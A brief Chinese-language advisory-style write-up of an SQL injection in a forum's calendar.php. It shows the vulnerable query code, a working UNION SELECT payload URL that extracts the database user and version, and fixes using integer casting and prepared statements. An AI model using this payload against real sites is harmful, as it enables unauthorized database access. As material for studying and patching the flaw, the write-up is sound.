本文僅供安全研究、漏洞修復、歷史教學用途。嚴禁用於非授權系統測試或攻擊。請遵守當地法律法規,負責任地揭露漏洞。
calendar.phpeventidelse if ($action == "edit") {
$eventinfo = $DB_site->query_first(
"SELECT allowsmilies, public, userid, eventdate, event, subject
FROM calendar_events
WHERE eventid = $eventid"
);
}
問題: $eventid 直接拼接進 SQL 字串,未經過滿足/參數化處理。
利用 UNION SELECT 將任意資料查詢結果合併回原查詢:
https://www.example.com/bbs/calendar.php?action=edit&eventid=12 UNION (SELECT allowsmilies, public, userid, '0000-0-0', user(), version() FROM calendar_events WHERE eventid = 13) ORDER BY eventdate
eventid=12 使原查詢可能無結果或返回已知資料UNION 附加第二個查詢,欄位數、型別必須匹配user() 獲取資料庫用戶,version() 獲取版本query_first() 只返回第一行 → 攻擊者構造確保惡意查詢排在第一行$eventid = intval($eventid); // 強制轉整數
$eventinfo = $DB_site->query_first(
"SELECT allowsmilies, public, userid, eventdate, event, subject
FROM calendar_events
WHERE eventid = $eventid"
);
$stmt = $pdo->prepare("SELECT ... FROM calendar_events WHERE eventid = ?");
$stmt->execute([$eventid]);
$eventinfo = $stmt->fetch();
if (!ctype_digit($eventid)) die('Invalid eventid');